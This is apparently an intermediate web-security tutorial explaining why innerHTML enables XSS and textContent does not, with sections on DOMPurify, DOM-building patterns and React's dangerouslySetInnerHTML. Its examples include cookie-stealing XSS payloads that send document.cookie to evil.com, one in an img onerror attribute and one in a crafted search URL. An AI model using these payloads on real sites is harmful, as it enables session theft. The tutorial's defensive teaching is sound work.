Skip to content

innerHTML vs textContent

intermediate14 min read

The API That Launched a Thousand Exploits

Every XSS vulnerability has a root cause, and more often than not, that root cause is innerHTML. It's the single most dangerous API in the DOM — not because it's poorly designed, but because it does exactly what you tell it to. You hand it a string, and it parses that string as HTML and injects the result into the page. If that string came from a user... well, you just gave them the keys to your entire application.

The thing is, most of the time you don't even need HTML parsing. You just want to put some text on the screen. That's what textContent is for, and understanding the difference between these two APIs is the foundation of frontend security.

Mental Model

Think of innerHTML as a copy machine that accepts any document — contracts, legal papers, or a letter that says "give me your bank password." It faithfully reproduces whatever you feed it. textContent is more like a typewriter: it only produces plain text characters. You can type the words "script tag" on a typewriter, but it will never execute code. That's the fundamental difference — one interprets, the other just displays.

innerHTML: The HTML Parser in Your Code

When you assign a string to innerHTML, the browser doesn't just drop text into the DOM. It runs the full HTML parser on that string — the same parser that processes your initial page load. It creates elements, sets attributes, builds a subtree, and replaces the element's children with that subtree.

const div = document.querySelector('#output');
div.innerHTML = '<strong>Hello</strong> <em>world</em>';

After this runs, div contains two child elements: a strong and an em, each with their own text node. The browser parsed HTML and constructed real DOM nodes.

This is powerful. It's also terrifying when the string comes from outside your control:

const username = getUserInput();
div.innerHTML = `Welcome, ${username}!`;

If username is Alice, great. If username is <img src=x onerror="document.location='https://evil.com/steal?cookie='+document.cookie">, the browser faithfully creates that img element, the src fails, the onerror handler fires, and the user's cookies are sent to the attacker. Game over.

Danger

Every time you use innerHTML with any data that isn't hardcoded in your source code, you're potentially creating an XSS vulnerability. This includes URL parameters, form inputs, database values, API responses, localStorage — anything that could have been touched by a user or attacker.

Quiz
What happens when you assign a string containing an img tag with an onerror attribute to innerHTML?

textContent: The Safe Default

textContent sets the text content of a node. That's it. No parsing. No element creation. No attribute interpretation. It replaces all child nodes with a single text node containing the exact string you provided.

const div = document.querySelector('#output');
div.textContent = '<strong>Hello</strong>';

After this, div contains one text node with the literal characters <strong>Hello</strong> — angle brackets and all. The browser treats it as text, not markup. You'll see the raw tags displayed on screen.

This is exactly what you want 99% of the time. When you're displaying a username, a comment, a product title, or any user-provided data, you want it rendered as text, not parsed as HTML.

const username = getUserInput();
div.textContent = `Welcome, ${username}!`;

Now even if username contains malicious HTML, it's displayed as harmless text. The angle brackets show up as literal characters on screen.

textContent vs innerText

These two are often confused, but they're fundamentally different in how they handle the DOM:

const el = document.querySelector('#example');

el.textContent;
el.innerText;

Both return the text content of an element, but innerText is aware of CSS styling while textContent is not.

<div id="example">
  Hello <span style="display:none">Hidden</span> World
</div>
el.textContent  // "Hello Hidden World" — returns ALL text, ignoring CSS
el.innerText    // "Hello World" — respects display:none, returns visible text

The critical difference: innerText triggers a reflow to compute what's actually visible on screen. If you're setting text (not reading it), this means innerText is slower because it needs to recalculate layout. For setting content, always use textContent.

PropertyParses HTML?Triggers reflow?CSS-aware?Safe for user input?
innerHTMLYes — full HTML parserNo (on write)N/ANo — XSS risk
textContentNo — plain text onlyNoNoYes — always safe
innerTextNo — plain text onlyYes — computes visibilityYesYes — always safe
outerHTMLYes — includes the element itselfNo (on write)N/ANo — XSS risk
Quiz
You need to display a user's bio on their profile page. The bio is stored in a database and could contain anything. Which approach is correct?

insertAdjacentHTML: innerHTML's Precise Cousin

insertAdjacentHTML does the same HTML parsing as innerHTML, but instead of replacing all children, it inserts at a specific position:

element.insertAdjacentHTML('beforebegin', html); // Before the element
element.insertAdjacentHTML('afterbegin', html);  // First child
element.insertAdjacentHTML('beforeend', html);   // Last child
element.insertAdjacentHTML('afterend', html);     // After the element

This has two advantages over innerHTML:

  1. It doesn't destroy existing childreninnerHTML wipes everything and rebuilds. insertAdjacentHTML only adds new nodes.
  2. It's faster for appending — because it doesn't re-parse existing content.

But here's what doesn't change: it's equally dangerous for XSS. It still runs the HTML parser on your string. If that string contains untrusted content, you have the same vulnerability.

const comment = getUserInput();
element.insertAdjacentHTML('beforeend', `<p>${comment}</p>`);

This is just as exploitable as innerHTML. The parsing happens on the inserted HTML, regardless of the insertion position.

Warning

insertAdjacentHTML has the same XSS risk as innerHTML. The "adjacent" part just controls where the parsed HTML goes — it doesn't add any sanitization.

When innerHTML Is Actually Needed

There are legitimate cases where you need to inject HTML — you just need to make sure the HTML is safe:

1. Rendering trusted, developer-authored HTML

const BADGE_HTML = '<span class="badge badge-pro">PRO</span>';
container.innerHTML = BADGE_HTML;

This is fine because the string is hardcoded — no user input involved.

2. Rendering HTML from a CMS or markdown processor after sanitization

import DOMPurify from 'dompurify';

const dirtyHTML = await fetchBlogPost();
const cleanHTML = DOMPurify.sanitize(dirtyHTML);
container.innerHTML = cleanHTML;

This is the pattern: untrusted HTML goes through a sanitizer before it touches innerHTML.

3. Server-rendered HTML that you're hydrating

When your server pre-renders HTML and the client needs to inject it, that's trusted content from your own server. Still, validate on the server side.

DOMPurify: The Industry Standard Sanitizer

DOMPurify is the go-to library for HTML sanitization. It parses the HTML, walks the DOM tree, and removes anything dangerous — script tags, event handlers, data URIs, and other attack vectors — while preserving safe formatting like bold, italic, links, and lists.

import DOMPurify from 'dompurify';

const dirty = `
  <p>Nice article!</p>
  <img src=x onerror="alert('hacked')">
  <script>stealCookies()</script>
  <a href="javascript:alert('xss')">click me</a>
  <b onmouseover="evil()">bold text</b>
`;

const clean = DOMPurify.sanitize(dirty);

After sanitization, clean contains:

<p>Nice article!</p>
<img src="x">
<a>click me</a>
<b>bold text</b>

DOMPurify removed the script tag entirely, stripped the onerror handler from the img, removed the javascript: URI from the link, and stripped the onmouseover handler from the b tag. The safe content structure is preserved.

Configuring DOMPurify

You can restrict what's allowed even further:

DOMPurify.sanitize(dirty, {
  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
  ALLOWED_ATTR: ['href', 'title'],
});

This is defense in depth: even if DOMPurify has a bug in its script-stripping logic, the attacker still can't inject a script tag because it's not in the allow list.

Why you should never write your own sanitizer

HTML parsing is absurdly complex. The HTML spec defines different parsing modes, has special rules for different elements, and browsers apply "error correction" that can transform seemingly harmless input into dangerous markup. For example, some browsers auto-close tags in unexpected ways, creating element structures your regex-based sanitizer never anticipated. DOMPurify works by actually parsing the HTML with the browser's parser (the same one that would execute the attack), walking the resulting DOM tree, and removing dangerous nodes. This means it catches every trick the browser's parser would interpret — because it uses the same parser. Rolling your own sanitizer is a guaranteed vulnerability.

Quiz
A blog platform allows users to write posts with basic formatting (bold, italic, links). What is the correct approach to render these posts?

The DOM API Alternative: Build Nodes, Not Strings

Instead of constructing HTML strings, you can build DOM nodes directly. This is inherently safe because you're creating elements and setting properties — not parsing HTML:

function createComment(username, text) {
  const wrapper = document.createElement('div');
  wrapper.className = 'comment';

  const name = document.createElement('strong');
  name.textContent = username;

  const body = document.createElement('p');
  body.textContent = text;

  wrapper.append(name, body);
  return wrapper;
}

container.append(createComment(userInput.name, userInput.text));

No HTML parsing happens here. textContent treats everything as plain text. Even if username is <script>alert('xss')</script>, it renders as literal text on screen.

Template Literals + DOM API

For more complex structures, combine document.createElement with template elements:

function createCard(title, description) {
  const template = document.createElement('template');
  template.innerHTML = `
    <div class="card">
      <h3 class="card-title"></h3>
      <p class="card-desc"></p>
    </div>
  `;

  const card = template.content.cloneNode(true);
  card.querySelector('.card-title').textContent = title;
  card.querySelector('.card-desc').textContent = description;

  return card;
}

The template's innerHTML is safe here because it contains only your hardcoded structure — no user data. The user data goes through textContent, which is always safe. This pattern gives you the readability of HTML templates with the safety of DOM APIs.

React's dangerouslySetInnerHTML

React doesn't have innerHTML. Instead, it has dangerouslySetInnerHTML — and that name is intentional. React's team wanted you to type out "dangerously" every single time you inject raw HTML, as a constant reminder that you're bypassing React's automatic XSS protection.

function BlogPost({ content }) {
  return <div dangerouslySetInnerHTML={{ __html: content }} />;
}

React escapes all string values in JSX by default. When you write {userInput} in JSX, React calls the equivalent of textContent — it creates a text node, not HTML. dangerouslySetInnerHTML explicitly opts out of this protection.

When dangerouslySetInnerHTML Is Justified

Rendering sanitized rich text from a CMS:

import DOMPurify from 'dompurify';

function RichContent({ html }) {
  const clean = DOMPurify.sanitize(html);
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

Rendering pre-processed markdown (already converted to HTML):

function MarkdownContent({ htmlFromMarkdown }) {
  const clean = DOMPurify.sanitize(htmlFromMarkdown);
  return <article dangerouslySetInnerHTML={{ __html: clean }} />;
}

Injecting syntax-highlighted code (from a trusted highlighter like Shiki):

function CodeBlock({ highlightedHTML }) {
  return <pre dangerouslySetInnerHTML={{ __html: highlightedHTML }} />;
}

Shiki output is trusted because it's generated by your build process from source code you control, not from user input.

Common Trap

Some developers sanitize on the server and assume the client doesn't need to sanitize again. This is wrong. If the sanitized HTML passes through any client-side processing (template literals, string concatenation, state management) before reaching dangerouslySetInnerHTML, any of those steps could introduce a vulnerability. The safest pattern is to sanitize immediately before injection — as close to the dangerouslySetInnerHTML call as possible.

Quiz
In React, what happens when you render user input like this: function Greeting({ name }) { return <h1>Hello, {name}!</h1>; }?

The Decision Tree

When you need to put content in the DOM, follow this order:

  1. Is it plain text? Use textContent. Done.
  2. Is it HTML you wrote in your source code? Use innerHTML or insertAdjacentHTML. It's your code — it's trusted.
  3. Is it HTML from an external source (CMS, API, user input)? Sanitize with DOMPurify first, then use innerHTML.
  4. Can you restructure to avoid HTML strings entirely? Use the DOM API (createElement + textContent). This is the safest pattern because there's no HTML parsing at all.
  5. In React? Just use JSX — it escapes by default. Only use dangerouslySetInnerHTML with sanitized HTML when you genuinely need rich text rendering.
ScenarioCorrect APIWhy
Display a usernametextContentPlain text — no HTML needed, no parsing, no risk
Display a notification counttextContentIt is a number — never needs HTML parsing
Render a blog post with formattingDOMPurify.sanitize() then innerHTMLNeed HTML for bold/italic/links, but content is untrusted
Build a comment card from user datacreateElement + textContentStructure is yours (safe), data is theirs (use textContent)
Render syntax-highlighted codeinnerHTML or dangerouslySetInnerHTMLOutput from Shiki/Prism is trusted, generated at build time
Render markdown converted to HTMLDOMPurify.sanitize() then innerHTMLMarkdown processors can pass through raw HTML — sanitize the output

Real-World XSS: How innerHTML Gets Exploited

Here's a pattern that shows up in production more than you'd think — a search page that reflects the query:

const query = new URLSearchParams(location.search).get('q');
document.getElementById('results-title').innerHTML =
  `Results for "${query}"`;

An attacker crafts this URL:

https://yourapp.com/search?q=<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">

When the victim clicks that link, their browser:

  1. Loads your page
  2. Reads the q parameter
  3. Passes the malicious string to innerHTML
  4. The browser parses it as HTML, creates the img element
  5. The src=x fails, triggering onerror
  6. The attacker's JavaScript executes, stealing the user's session cookie

The fix is trivial:

const query = new URLSearchParams(location.search).get('q');
document.getElementById('results-title').textContent =
  `Results for "${query}"`;

One word changed — innerHTML to textContent — and the vulnerability is eliminated.

Quiz
A developer writes: element.insertAdjacentHTML('beforeend', userComment). They argue it is safer than innerHTML because it does not replace existing content. Are they correct?
What developers doWhat they should do
Using innerHTML to display usernames, comments, or any user-provided text
innerHTML parses HTML, turning user input into executable markup. textContent creates a safe text node — angle brackets are displayed as literal characters, never parsed.
Use textContent for any user-provided text that does not need HTML formatting
Using regex to strip script tags before innerHTML
HTML parsing is full of edge cases that bypass regex. Browsers interpret malformed HTML in surprising ways (unclosed tags, nested parsing contexts, character encoding tricks). DOMPurify uses the browser's own parser to catch what regex cannot.
Use DOMPurify for HTML sanitization — never regex
Using innerText instead of textContent for setting text
innerText is CSS-aware and triggers a layout reflow to compute visibility. textContent simply sets the text node without any layout computation. Both are safe from XSS, but textContent is the correct choice for writes.
Use textContent for setting text content — it is faster and does not trigger reflow
Using dangerouslySetInnerHTML without sanitizing the HTML first
dangerouslySetInnerHTML bypasses React's automatic escaping. Without sanitization, you are injecting raw HTML that could contain script tags, event handlers, or javascript: URIs from untrusted sources.
Always pass HTML through DOMPurify.sanitize() immediately before dangerouslySetInnerHTML
Sanitizing on the server and trusting the result on the client without re-sanitizing
Server-sanitized HTML can be modified by client-side string operations, state management, or template interpolation before it reaches the DOM. Sanitize at the last mile.
Sanitize as close to the injection point as possible — ideally right before innerHTML or dangerouslySetInnerHTML
Key Rules
  1. 1Default to textContent for displaying any user-provided data — it never parses HTML.
  2. 2innerHTML runs the full HTML parser. Never use it with untrusted strings.
  3. 3insertAdjacentHTML has the same XSS risk as innerHTML — the position parameter does not add safety.
  4. 4innerText triggers layout reflow. Use textContent for writes, innerText only when you specifically need CSS-aware text reading.
  5. 5When you genuinely need to render untrusted HTML, sanitize with DOMPurify immediately before injection.
  6. 6In React, JSX escapes by default. Only use dangerouslySetInnerHTML with pre-sanitized HTML.
  7. 7The DOM API (createElement + textContent) is the safest pattern — it avoids HTML parsing entirely.